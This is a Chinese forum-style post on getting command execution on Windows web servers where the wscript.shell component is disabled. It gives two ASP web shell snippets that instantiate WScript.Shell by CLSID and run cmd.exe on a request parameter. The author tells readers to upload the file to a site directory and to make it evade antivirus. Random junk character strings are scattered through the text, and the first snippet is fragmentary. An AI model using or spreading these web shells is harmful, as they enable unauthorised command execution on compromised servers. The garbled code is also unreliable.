没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  / L" g) m! o# b" t
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  1 E" h( J( F1 j" w; f
• 把下面代码复制：
  
• <%
  / b+ o6 v! q( N. g
• end if
  
• response.write(”")
  % Z9 y3 H( n3 ^: E2 b' o1 F* K
• On Error Resume
  + E  w8 s- y* E. X7 y- `
• Next
  ) H( G* }3 _3 g, ?
• response.write oScriptlhn.exec(”cmd.exe /c” &
  " Y+ T& I; Z; G% @' H6 l
• request(”c”)).stdout.readall
  0 m7 T7 d! c$ h. ~2 `7 _( i
• response.write(”")
  
• response.write(”")
  
• response.write(”
  
• “)
  
• response.write(”")
  
• %>
  + b; ~. |' i5 l# P9 N# ?8 I
• 保存为一个asp文件，然后传到网站目录上去
  % i" }- a! S3 d: l/ L5 x* o( a
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  
• 我用此成功运行过cacls命令。
  6 U. h  j. y6 C. V& ^) Z
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  
• <object runat=server id=oScriptlhn scope=page
  $ i+ R# h% @8 ^. f3 |
• 
  
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  
• <%if err then%>
  
• <object runat=server id=oScriptlhn scope=page
  
• 
  
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  
• <%
  / i( S; r% b) R& G$ v! B# S
• end if
  
• response.write(”<textarea readonly cols=80
  8 a( e- U1 q% k( _7 R7 ]
• 
  
• rows=20>”)
  & p  `0 v" t0 w' ^
• On Error Resume Next
  
• response.write
  3 \8 F5 R) e9 M0 c
• 
  ( c# U/ y2 i/ }9 ?3 w
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  
• response.write(”</textarea>”)
  7 u/ G$ J* U; z. F
• response.write(”<form
  ( G7 ]$ C2 Q) }0 H$ L4 O( y
• 
  
• method=’post’>”)
  , [' K. y: A1 o& m8 d
• response.write(”<input type=text name=’c'
  
• 
  & O- _9 Z% l2 @7 I7 N! U
• size=60><br>”)
  
• response.write(”<input type=submit
  
• 
  
• value=’执行’></form>”)
  
• %>
  
• 保存为ASP，此代码可能被杀，请注意免杀。
  
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  

复制代码